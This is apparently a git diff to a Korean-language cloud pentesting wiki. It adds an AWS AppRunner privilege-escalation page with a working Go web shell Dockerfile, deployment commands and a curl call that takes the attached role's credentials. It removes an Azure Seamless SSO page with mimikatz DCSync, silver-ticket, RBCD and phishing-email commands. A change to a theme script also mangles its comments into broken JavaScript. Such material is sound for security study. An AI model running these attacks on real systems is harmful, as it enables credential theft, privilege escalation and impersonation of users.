diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 2e6ba8b7c..02ee21711 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -267,6 +267,7 @@ - [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md) - [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md) - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md) + - [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md) - [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md) - [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md) - [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md) @@ -454,7 +455,7 @@ - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md) - - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md) + - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md new file mode 100644 index 000000000..cf680b9e7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md @@ -0,0 +1,72 @@ +# AWS - AppRunner Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## AppRunner + +### `iam:PassRole`, `apprunner:CreateService` + +이 권한을 가진 공격자는 IAM 역할이 연결된 AppRunner 서비스를 생성할 수 있으며, 역할의 자격 증명에 접근하여 권한을 상승시킬 수 있습니다. + +공격자는 먼저 AppRunner 컨테이너에서 임의의 명령을 실행하기 위한 웹 셸 역할을 하는 Dockerfile을 생성합니다. +```Dockerfile +FROM golang:1.24-bookworm +WORKDIR /app +RUN apt-get update && apt-get install -y ca-certificates curl +RUN cat <<'EOF' > main.go +package main + +import ( +"fmt" +"net/http" +"os/exec" +) + +func main() { +http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { +command := exec.Command("sh", "-c", r.URL.Query().Get("cmd")) +output, err := command.CombinedOutput() +if err != nil { +fmt.Fprint(w, err.Error(), output) +return +} + +fmt.Fprint(w, string(output)) +}) +http.ListenAndServe("0.0.0.0:3000", nil) +} +EOF +RUN go mod init test && go build -o main . +EXPOSE 3000 +CMD ["./main"] +``` +그런 다음 이 이미지를 ECR 리포지토리에 푸시합니다. +공격자가 제어하는 AWS 계정의 공개 리포지토리에 이미지를 푸시함으로써, 피해자의 계정이 ECR을 조작할 권한이 없더라도 권한 상승이 가능합니다. +```sh +IMAGE_NAME=public.ecr.aws///:latest +docker buildx build --platform linux/amd64 -t $IMAGE_NAME . +aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws +docker push $IMAGE_NAME +docker logout public.ecr.aws +``` +다음으로, 공격자는 이 웹 셸 이미지를 사용하고자 하는 IAM 역할로 구성된 AppRunner 서비스를 생성합니다. +```bash +aws apprunner create-service \ +--service-name malicious-service \ +--source-configuration '{ +"ImageRepository": { +"ImageIdentifier": "public.ecr.aws///:latest", +"ImageRepositoryType": "ECR_PUBLIC", +"ImageConfiguration": { "Port": "3000" } +} +}' \ +--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ +--query Service.ServiceUrl +``` +서비스 생성이 완료될 때까지 기다린 후, 웹 셸을 사용하여 컨테이너 자격 증명을 검색하고 AppRunner에 연결된 IAM 역할의 권한을 얻습니다. +```sh +curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' +``` +**Potential Impact:** AppRunner 서비스에 연결할 수 있는 모든 IAM 역할로의 직접적인 권한 상승. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md deleted file mode 100644 index 0fe44a943..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md +++ /dev/null @@ -1,192 +0,0 @@ -# Az - Seamless SSO - -{{#include ../../../banners/hacktricks-training.md}} - -## 기본 정보 - -[문서에서:] (https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO)는 **사용자가 회사 네트워크에 연결된 회사 장치에서** 자동으로 **로그인**하도록 합니다. 활성화되면, **사용자는 Azure AD에 로그인하기 위해 비밀번호를 입력할 필요가 없으며**, 일반적으로 사용자 이름도 입력할 필요가 없습니다. 이 기능은 사용자가 추가적인 온프레미스 구성 요소 없이 클라우드 기반 애플리케이션에 쉽게 접근할 수 있도록 합니다. - -

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

- -기본적으로 Azure AD Seamless SSO는 **온프레미스 도메인에 가입된 PC에서** **사용자를 로그인**시킵니다. - -이는 [**PHS (비밀번호 해시 동기화)**](phs-password-hash-sync.md)와 [**PTA (통과 인증)**](pta-pass-through-authentication.md) 모두에서 지원됩니다. - -데스크탑 SSO는 인증을 위해 **Kerberos**를 사용합니다. 구성되면, Azure AD Connect는 온프레미스 AD에 **`AZUREADSSOACC$`라는 컴퓨터 계정을 생성합니다**. `AZUREADSSOACC$` 계정의 비밀번호는 **구성 중에 Entra ID에 평문으로 전송됩니다**. - -**Kerberos 티켓**은 비밀번호의 **NTHash (MD4)**를 사용하여 **암호화**되며, Entra ID는 전송된 비밀번호를 사용하여 티켓을 복호화합니다. - -**Entra ID**는 Kerberos **티켓**을 수락하는 **엔드포인트** (https://autologon.microsoftazuread-sso.com)를 노출합니다. 도메인에 가입된 머신의 브라우저는 SSO를 위해 이 엔드포인트로 티켓을 전달합니다. - -### 열거 -```bash -# Check if the SSO is enabled in the tenant -Import-Module AADInternals -Invoke-AADIntReconAsOutsider -Domain | Format-Table - -# Check if the AZUREADSSOACC$ account exists in the domain -Install-WindowsFeature RSAT-AD-PowerShell -Import-Module ActiveDirectory -Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'" - -# Check it using raw LDAP queries without needing an external module -$searcher = New-Object System.DirectoryServices.DirectorySearcher -$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)" -$searcher.FindOne() -``` -## Pivoting: On-prem -> cloud - -> [!WARNING] -> 이 공격에 대해 알아야 할 가장 중요한 점은 Entra ID와 동기화된 사용자의 TGT 또는 특정 TGS를 보유하는 것만으로도 클라우드 리소스에 접근할 수 있다는 것입니다.\ -> 이는 사용자가 클라우드에 로그인할 수 있도록 허용하는 티켓이기 때문입니다. - -TGS 티켓을 얻기 위해 공격자는 다음 중 하나를 가져야 합니다: -- **손상된 사용자의 TGS:** 메모리에서 `HTTP/autologon.microsoftazuread-sso.com`에 대한 티켓으로 사용자의 세션을 손상시키면 클라우드 리소스에 접근할 수 있습니다. -- **손상된 사용자의 TGT:** 사용자가 손상되었지만 TGT가 없더라도, [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 및 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)와 같은 많은 도구에 구현된 가짜 TGT 위임 트릭을 사용하여 하나를 얻을 수 있습니다. -- **손상된 사용자의 해시 또는 비밀번호:** SeamlessPass는 이 정보를 사용하여 도메인 컨트롤러와 통신하여 TGT를 생성한 다음 TGS를 생성합니다. -- **골든 티켓:** KRBTGT 키가 있으면 공격된 사용자에게 필요한 TGT를 생성할 수 있습니다. -- **AZUREADSSOACC$ 계정 해시 또는 비밀번호:** 이 정보와 사용자의 보안 식별자(SID)를 사용하여 서비스 티켓을 생성하고 클라우드에 인증할 수 있습니다(이전 방법에서 수행된 것처럼). - -### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) - -[이 블로그 게시물에서 설명한 바와 같이](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), 이전 요구 사항 중 하나라도 있으면 **SeamlessPass** 도구를 사용하여 손상된 사용자로서 또는 **`AZUREADSSOACC$`** 계정 해시 또는 비밀번호가 있는 경우 다른 사용자로서 클라우드 리소스에 접근하는 것이 매우 쉽습니다. - -마지막으로, TGT를 사용하여 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) 도구를 사용할 수 있습니다: -```bash -# Using the TGT to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt -# Using the TGS to access the cloud -seamlesspass -tenant corp.com -tgs user_tgs.ccache -# Using the victims account hash or password to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password -# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID -seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234 -seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234 -wmic useraccount get name,sid # Get the user SIDs -``` -Firefox를 seamless SSO와 함께 작동하도록 설정하는 추가 정보는 [**이 블로그 게시물에서**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) 확인할 수 있습니다. - - -### AZUREADSSOACC$ 계정의 해시 가져오기 - -사용자 **`AZUREADSSOACC$`의 **비밀번호**는 절대 변경되지 않습니다**. 따라서 도메인 관리자는 **이 계정의 해시를 손상시킬 수** 있으며, 이를 사용하여 **모든 온프레미스 사용자와 동기화된** Azure에 연결하기 위해 **실버 티켓을 생성할 수** 있습니다: -```bash -# Dump hash using mimikatz -Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' -mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit - -# Dump hash using https://github.com/MichaelGrafnetter/DSInternals -Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local - -# Dump using ntdsutil and DSInternals -## Dump NTDS.dit -ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q -## Extract password -Install-Module DSInternals -Import-Module DSInternals -$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' -(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos -``` -> [!NOTE] -> 현재 정보로는 이전에 언급한 대로 **SeamlessPass** 도구를 사용하여 도메인 내의 모든 사용자에 대한 azure 및 entraid 토큰을 얻을 수 있습니다. -> 또한 이전 기술(및 기타)을 사용하여 `AZUREADSSOACC$` 계정 대신에 가장하고자 하는 피해자의 비밀번호 해시를 얻을 수 있습니다. - -#### Silver Tickets 생성 - -해시를 사용하여 이제 **silver tickets**를 **생성**할 수 있습니다: -```bash -# Get users and SIDs -Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier - -# Create a silver ticket to connect to Azure with mimikatz -Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4: /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"' -mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit - -# Create silver ticket with AADInternal to access Exchange Online -$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4" -$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com -## Send email -Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." -``` -### Firefox에서 Silver Ticket 사용하기 - -Silver ticket을 활용하기 위해서는 다음 단계를 실행해야 합니다: - -1. **브라우저 시작:** Mozilla Firefox를 실행해야 합니다. -2. **브라우저 구성:** -- **`about:config`**로 이동합니다. -- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)의 선호도를 지정된 [값](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)으로 설정합니다: -- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` -- Firefox `설정`으로 이동하여 `Microsoft, 작업 및 학교 계정을 위한 Windows 단일 로그인 허용`을 검색하고 활성화합니다. -3. **웹 애플리케이션 접근:** -- 조직의 AAD 도메인과 통합된 웹 애플리케이션을 방문합니다. 일반적인 예로는 [login.microsoftonline.com](https://login.microsoftonline.com/)이 있습니다. -4. **인증 과정:** -- 로그인 화면에서 사용자 이름을 입력하고 비밀번호 필드는 비워둡니다. -- 진행하려면 TAB 또는 ENTER를 누릅니다. - -> [!WARNING] -> 사용자가 MFA를 활성화한 경우 **우회되지 않습니다**. - - -### 온프레미스 -> 클라우드 리소스 기반 제약 위임을 통한 공격 - -공격을 수행하기 위해 필요한 것은: - -- `WriteDACL` / `GenericWrite` over `AZUREADSSOACC$` -- 당신이 제어하는 컴퓨터 계정 (해시 및 비밀번호) - 하나를 생성할 수 있습니다. - - -1. 단계 1 – 자신의 컴퓨터 계정 추가 -- `ATTACKBOX$`를 생성하고 그 SID/NTLM 해시를 출력합니다. 모든 도메인 사용자가 MachineAccountQuota > 0인 경우 이를 수행할 수 있습니다. -```bash -# Impacket -python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \ --computer ATTACKBOX$ -password S3cureP@ss -``` -2. 단계 2 – `AZUREADSSOACC$`에 RBCD 부여 - 귀하의 머신 SID를 `msDS-AllowedToActOnBehalfOfOtherIdentity`에 기록합니다. -```bash -python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \ -ATTACKBOX$ AZUREADSSOACC$ - -# Or, from Windows: -$SID = (Get-ADComputer ATTACKBOX$).SID -Set-ADComputer AZUREADSSOACC$ ` --PrincipalsAllowedToDelegateToAccount $SID -``` -3. 단계 3 – 모든 사용자(예: alice)에 대한 TGS 위조 -```bash -# Using your machine's password or NTLM hash -python3 getST.py -dc-ip 192.168.1.10 \ --spn HTTP/autologon.microsoftazuread-sso.com \ --impersonate alice \ -DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821 - -# Produces alice.autologon.ccache - -#Or, from Windows: -Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 ` -/impersonateuser:alice ` -/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt -``` -이제 **TGS를 사용하여 가장된 사용자로 Azure 리소스에 접근할 수 있습니다.** - - -### ~~클라우드 전용 사용자를 위한 Kerberos 티켓 생성~~ - -Active Directory 관리자가 Azure AD Connect에 접근할 수 있다면, **모든 클라우드 사용자에 대해 SID를 설정할 수 있습니다.** 이렇게 하면 Kerberos **티켓**이 **클라우드 전용 사용자에 대해서도 생성될 수 있습니다.** 유일한 요구 사항은 SID가 적절한 [SID]()여야 한다는 것입니다. - -> [!CAUTION] -> 클라우드 전용 관리자 사용자의 SID 변경은 현재 **Microsoft에 의해 차단되었습니다.**\ -> 자세한 정보는 [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)를 확인하세요. - - - -## References - -- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) -- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) -- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 02f51127e..c09116c72 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -1,6 +1,6 @@ /** * HackTricks Training Discounts - */ + (() => { @@ -9,13 +9,13 @@ const TXT = 'Click here for HT Summer Discounts, Last Days!'; const URL = 'https://training.hacktricks.xyz'; - /* Stop if user already dismissed */ + # Stop if user already dismissed if (localStorage.getItem(KEY) === 'true') return; - /* Quick helper */ + # Quick helper const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); - /* --- Overlay (blur + dim) --- */ + # --- Overlay (blur + dim) --- const overlay = $('div', ` position: fixed; inset: 0; background: rgba(0,0,0,.4); @@ -24,7 +24,7 @@ z-index: 10000; `); - /* --- Modal --- */ + # --- Modal --- const modal = $('div', ` max-width: 90vw; width: 480px; background: #fff; border-radius: 12px; overflow: hidden; @@ -33,10 +33,10 @@ display: flex; flex-direction: column; align-items: stretch; `); - /* --- Title bar (link + close) --- */ + # --- Title bar (link + close) --- const titleBar = $('div', ` position: relative; - padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */ + padding: 1rem 2.5rem 1rem 1rem; # room for the close button text-align: center; background: #222; color: #fff; font-size: 1.3rem; font-weight: 700; @@ -53,7 +53,7 @@ link.textContent = TXT; titleBar.appendChild(link); - /* Close "X" (no persistence) */ + # Close "X" (no persistence) const closeBtn = $('button', ` position: absolute; top: .25rem; right: .5rem; background: transparent; border: none; @@ -65,11 +65,11 @@ closeBtn.onclick = () => overlay.remove(); titleBar.appendChild(closeBtn); - /* --- Image --- */ + # --- Image --- const img = $('img'); img.src = IMG; img.alt = TXT; img.style.width = '100%'; - /* --- Checkbox row --- */ + # --- Checkbox row --- const label = $('label', ` display: flex; align-items: center; justify-content: center; gap: .6rem; padding: 1rem; font-size: 1rem; color: #222; cursor: pointer; @@ -83,7 +83,7 @@ }; label.append(cb, document.createTextNode("Don't show again")); - /* --- Assemble & inject --- */ + # --- Assemble & inject --- modal.append(titleBar, img, label); overlay.appendChild(modal); @@ -94,7 +94,7 @@ } })(); - +*/